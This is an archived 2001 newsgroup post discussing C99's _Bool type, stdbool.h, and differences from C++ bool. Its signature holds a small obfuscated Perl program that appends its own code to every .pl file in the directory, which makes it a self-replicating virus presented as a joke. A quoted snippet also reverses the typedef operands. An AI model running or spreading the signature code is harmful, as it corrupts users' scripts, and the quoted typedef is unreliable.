delorie.com/archives/browse.cgi   search  
Mail Archives: djgpp/2001/04/20/09:00:25

From: rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null)
Newsgroups: comp.os.msdos.djgpp
Subject: Re: bool type
References: <20010418005914 DOT 7485 DOT qmail AT web13308 DOT mail DOT yahoo DOT com> <3add4e25 DOT 65909932 AT news DOT dingoblue DOT net DOT au> <f5nsdt4uc2jotdqq5hsfmqdarkfqqj2juf AT 4ax DOT com> <slrn9dtk7r DOT 9of DOT rpolzer AT www42 DOT t-offline DOT de> <pwLD6.3535$4N4 DOT 289201 AT news6-win DOT server DOT ntlworld DOT com>
X-newsgroup: comp.os.msdos.djgpp
X-realname: Ross Axe
X-Ringtones: http://ringtones AT durchnull DOT de
X-Original: no
Message-ID: <slrn9e08as.25h.rpolzer@www42.t-offline.de>
User-Agent: slrn/0.9.6.3 (Linux)
Date: Fri, 20 Apr 2001 13:45:32 +0200
Lines: 49
NNTP-Posting-Host: 213.7.26.121
X-Trace: 987770719 news.freenet.de 12259 213.7.26.121
X-Complaints-To: abuse AT freenet DOT de
To: djgpp AT delorie DOT com
DJ-Gateway: from newsgroup comp.os.msdos.djgpp
Reply-To: djgpp AT delorie DOT com

Ross Axe <ken DOT axe AT NOSPAM DOT virgin DOT net> wrote:
> "echo 'Rudolf Polzer'>/dev/null" <rpolzer AT www42 DOT t-offline DOT de> wrote in
> message news:slrn9dtk7r DOT 9of DOT rpolzer AT www42 DOT t-offline DOT de...
> > Jack Klein <jackklein AT spamcop DOT net> wrote:
> > > The 1999 update to the C standard added a new type called _Bool (the
> > > combination of leading underscore and upper case letter puts it in the
> > > namespace reserved for the implementation) which is similar, but not
> > > identical to, the C++ type bool.
> > >
> > > If you include the C99 standard header <stdbool.h>, it defines the
> > > four macros bool, true, false, and __bool_true_false_are_defined.
> > >
> > > If your gcc version supports _Bool, you can use this type without
> > > including any header.  If it supports _Bool and comes with the header
> > > <stdbool.h> (or you can make your own <stdbool.h>, it's a pretty
> > > simple header), then you can use the C99 macro bool.
> >
> > Isn't this a valid stdbool.h (without the include guards)
> >
> > typedef bool int;
> > #define true 1
> > #define false 0
> >
> > or is a boolean more than that?
> 
> I would say so.  bool (or _Bool) can hold one of two values, 0 or 1.  int
> can hold considerably more :-)
> Dont know if 'typedef bool int;' is permitted by the C99 standard though.
> It may be.  I am fairly certain that you are free to undefine and redefine
> the macros bool, true & false.  So merely including the line 'typedef bool
> int;' in your program is legal, if you don't #include <stdbool.h> or you
> #undef bool afterwards.

If <stdbool.h> is included, this file would not be needed. But: there 
are examples where the C++ bool and this bool differ:

bool b = -1;	/* some true value in C++, true in a 'if' in C */
++b;            /* makes b false using a typedef'd bool. In C++:
                   implicit conversion from bool to int -> 1
                   adding 1 to the int -> 2
                   implicit conversion from int to bool -> true == 1 */

What does C99 say here? Seems like normal, old C cannot fix this.

-- 
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

- Raw text -


  webmaster     delorie software   privacy  
  Copyright © 2019   by DJ Delorie     Updated Jul 2019